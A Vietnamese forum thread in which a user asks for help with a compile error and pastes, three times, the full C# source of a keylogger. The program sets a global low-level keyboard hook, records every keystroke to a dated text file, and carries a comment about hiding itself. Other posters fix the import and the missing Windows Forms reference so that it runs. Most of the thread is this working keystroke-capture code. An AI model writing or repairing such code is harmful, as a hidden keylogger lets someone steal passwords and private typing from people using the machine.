Mọi người giải thích dùm mình lỗi này, sao chữ Run đó lại k chạy?
Tại sao chữ Run này không chạy?
Import sai thì phải Theo mình đoán thì bạn muốn chạy hàm Run của class
System.Windows.Forms.Application
còn trong hình thì là của thằng MediaTypeName gì đấy
Thay cái import MediaTypeNames bằng System.Windows.Forms thử xem
mình đâu có câu lệnh nào tên là impor MediaTyleNames đâu
K đc bạn nhé, cũng bị lỗi như thường T_T
Up hết code trong file đó lên đây mình xem thử
À, full của cái import đó là System.Net.Mime.MediaTypeNames
chờ mình xíu
có cần đưa bạn cái code đó k ?
#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static string logName = "Log_";
private static string logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Delegate a LowLevelKeyboardProc to use user32.dll
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
/// <summary>
/// Set hook into all current process
/// </summary>
/// <param name="proc"></param>
/// <returns></returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
/// <summary>
/// Every time the OS call back pressed key. Catch them
/// then cal the CallNextHookEx to wait for the next key
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
/// <summary>
/// Write pressed key into log.txt file
/// </summary>
/// <param name="vkCode"></param>
static void WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
/// <summary>
/// Start hook key board and hide the key logger
/// Key logger only show again if pressed right Hot key
/// </summary>
static void HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
#endregion
static void Main(string[] args)
{
HookKeyboard();
}
}
}
Ctrl + A rồi paste tồn bộ code của file này lên luôn bạn ơi
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using static System.Net.Mime.MediaTypeNames;
namespace Gift_dung
{
class Program
{
#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static string logName = "Log_";
private static string logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Delegate a LowLevelKeyboardProc to use user32.dll
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
/// <summary>
/// Set hook into all current process
/// </summary>
/// <param name="proc"></param>
/// <returns></returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
/// <summary>
/// Every time the OS call back pressed key. Catch them
/// then cal the CallNextHookEx to wait for the next key
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
/// <summary>
/// Write pressed key into log.txt file
/// </summary>
/// <param name="vkCode"></param>
static void WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
/// <summary>
/// Start hook key board and hide the key logger
/// Key logger only show again if pressed right Hot key
/// </summary>
static void HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
#endregion
static void Main(string[] args)
{
HookKeyboard();
}
}
}
Ơi trời, đây rồi thay ở dòng thứ 5 từ trên xuống nhé bạn
Có đc đâu bạn ơi ???
Thay chổ đó bằng import System.Windows.Forms;
using System;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Gift_dung
{
class Program
{
#region hook key board
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private static LowLevelKeyboardProc _proc = HookCallback;
private static IntPtr _hookID = IntPtr.Zero;
private static string logName = "Log_";
private static string logExtendtion = ".txt";
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook,
LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Delegate a LowLevelKeyboardProc to use user32.dll
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private delegate IntPtr LowLevelKeyboardProc(
int nCode, IntPtr wParam, IntPtr lParam);
/// <summary>
/// Set hook into all current process
/// </summary>
/// <param name="proc"></param>
/// <returns></returns>
private static IntPtr SetHook(LowLevelKeyboardProc proc)
{
using (Process curProcess = Process.GetCurrentProcess())
{
using (ProcessModule curModule = curProcess.MainModule)
{
return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
GetModuleHandle(curModule.ModuleName), 0);
}
}
}
/// <summary>
/// Every time the OS call back pressed key. Catch them
/// then cal the CallNextHookEx to wait for the next key
/// </summary>
/// <param name="nCode"></param>
/// <param name="wParam"></param>
/// <param name="lParam"></param>
/// <returns></returns>
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
WriteLog(vkCode);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
/// <summary>
/// Write pressed key into log.txt file
/// </summary>
/// <param name="vkCode"></param>
static void WriteLog(int vkCode)
{
Console.WriteLine((Keys)vkCode);
string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
StreamWriter sw = new StreamWriter(logNameToWrite, true);
sw.Write((Keys)vkCode);
sw.Close();
}
/// <summary>
/// Start hook key board and hide the key logger
/// Key logger only show again if pressed right Hot key
/// </summary>
static void HookKeyboard()
{
_hookID = SetHook(_proc);
Application.Run();
UnhookWindowsHookEx(_hookID);
}
#endregion
static void Main(string[] args)
{
HookKeyboard();
}
}
Copy and paste thử xem
Bạn chưa add reference Forms
vào project rồi dự là bạn tạo console project nên sẽ Visual Studio sẽ không add cái
Forms
vô cho bạn, bạn phải tự add bằng cách: click chuột phải vào References -> Add reference… sau đó search cái Forms đó mà add vào